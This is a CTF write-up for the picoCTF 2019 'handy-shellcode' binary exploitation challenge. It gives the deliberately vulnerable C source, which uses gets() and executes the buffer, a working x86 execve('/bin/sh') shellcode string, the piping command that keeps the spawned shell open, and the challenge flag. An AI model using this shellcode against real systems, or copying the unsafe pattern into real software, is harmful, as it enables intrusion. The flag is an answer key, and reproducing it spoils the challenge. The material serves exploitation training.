picoCTF 2019 - handy-shellcode writeup
Description
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?
Category: Binary Exploitation
Points: 50
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
  gets(buf);
  puts(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  char buf[BUFSIZE];
  puts("Enter your shellcode:");
  vuln(buf);
  puts("Thanks! Executing now...");
  ((void (*)())buf)();
  puts("Finishing Executing Shellcode. Exiting now...");
  return 0;
}
Explanation
The source code reads and executes a user entered string. No bounds checking or sanitation is done, meaning malicious code can be ran.
Plan
- Enter shellcode as user input
 - Use shell to print flag
 
Exploit
I grabbed some handy shellcode and placed it into a small python script:
print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
When piping the output of the python script into the binary, it executes but no shell is spawn:
$ python /tmp/script.py | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
Thanks! Executing now...
$
This happens because the shell immediately closes after it is spawn. To fix this, I used the cat command to keep the shell open:
$ (python /tmp/script.py; cat -) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}